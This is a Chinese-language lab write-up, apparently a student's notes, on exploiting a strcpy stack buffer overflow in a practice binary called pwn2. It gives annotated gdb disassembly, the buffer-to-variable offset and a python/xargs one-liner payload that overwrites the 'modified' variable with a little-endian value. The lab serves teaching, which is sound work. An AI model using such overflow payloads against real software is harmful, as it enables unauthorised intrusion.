预备知识:
1、命令行参数
C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。程序本身的名字为命令行的第一个参数。
2、xargs命令
Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。
3、字节序
字节顺序,又称端序或尾序(Endianness)。对于内存中存储的0x11223344这样一个值,从低地址往高地址方向的每一个字节来看,其内容在内存里的分布可能为0x11,0x22,0x33,0x44,也可能为0x44,0x33,0x22,0x11.
这涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:
0x11223344中的最高的字节为0x11,最低的字节为0x44,小端格式是“高存高,低存低”的规律,即小端格式中,高位字节存储于内存的高地址处,而低位字节存储于内存的低地址处。
大端格式则为“低存高,高存低”。
Intel、AMD等系列的处理器都是小端格式的。
实验描述:
主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。
请对pwn2程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的命令行参数数据,使之输出成功的提示信息。
实验步骤:
1、源码审计
使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:
使用strcpy函数复制字符串时,并不会对目标缓冲区的长度进行检查,当源字符串的长度超过目标缓冲区的长度时会引发缓冲区溢出。
当输入的超长的命令行参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
2、使用gdb调试程序
执行gdb pwn2对pwn2进行调试,并在gdb中执行disas main命令查看main函数的汇编:
main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%ebp
0x080482a3 <+3>: and $0xfffffff0,%esp
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%esp
; 判断命令行参数的个数是否为1
0x080482a9 <+9>: cmpl $0x1,0x8(%ebp)
0x080482ad <+13>: jne 0x80482c7 <main+39>
0x080482af <+15>: movl $0x80b3dac,(%esp)
0x080482b6 <+22>: call 0x80493c0 <puts>
0x080482bb <+27>: movl $0x1,(%esp)
0x080482c2 <+34>: call 0x8048e90 <exit>
; 命令参数个数不是1,说明传入了命令行参数
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482c7 <+39>: movl $0x0,0x5c(%esp)
; 通过ebp + 0xC获取argv参数的值
0x080482cf <+47>: mov 0xc(%ebp),%eax
; eax = eax + 4
0x080482d2 <+50>: add $0x4,%eax
; 取argv[1]的值
0x080482d5 <+53>: mov (%eax),%eax
; 将argv[1]作为strcpy的第二个参数值
0x080482d7 <+55>: mov %eax,0x4(%esp)
; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值
0x080482db <+59>: lea 0x1c(%esp),%eax
0x080482df <+63>: mov %eax,(%esp)
; 调用strcpy进行字符串复制
0x080482e2 <+66>: call 0x80525b0 <strcpy>
; 判断modified的值是否为0x61626364
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%esp)
; 不相等则跳转并输出失败信息
0x080482ef <+79>: jne 0x80482ff <main+95>
; 输出成功提示信息
0x080482f1 <+81>: movl $0x80b3dc8,(%esp)
0x080482f8 <+88>: call 0x80493c0 <puts>
0x080482fd <+93>: jmp 0x8048314 <main+116>
0x080482ff <+95>: mov $0x80b3de8,%eax
0x08048304 <+100>: mov 0x5c(%esp),%edx
0x08048308 <+104>: mov %edx,0x4(%esp)
0x0804830c <+108>: mov %eax,(%esp)
0x0804830f <+111>: call 0x8049390 <printf>
0x08048314 <+116>: mov $0x0,%eax
0x08048319 <+121>: leave
0x0804831a <+122>: ret
对上面代码的分析可知,buffer位于esp+0x1C处,modified位于esp+0x5C,两个地址的距离为0x5C-0x1C=0x40即64,刚好为为buffer数组的大小。当输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需小心地构造命令行参数。
在gdb验证,输入:b * 0x080482e7命令对strcpy的下一条指令下一个断点,并输入命令r,空一格输入64个A和1234(r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。)
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x34333231,而0x31为字符’1’的ASCII值,0x32为字符’2’的ASCII值,0x33为字符’3’的ASCII值,0x34为字符’4’的ASCII值:
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
modified变量的值已经被修改成0x34333231了,结合输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。
3、发起溢出攻击
目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x61626364时才通过判断,因此构造的数据应该为\x64\x63\x62\x61。
退出gdb,用python语句构造输入数据,然后通过xargs传给pwn2程序,执行命令:python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
成功发起了溢出攻击,
实验总结:
1、strcpy()函数是C语言中的一个复制字符串的库函数。
2、对于函数调用还不太明白,不理解为什么在main函数中可以通过[ebp+0x8]来取得argc的值。在接下来学习中补上疑惑。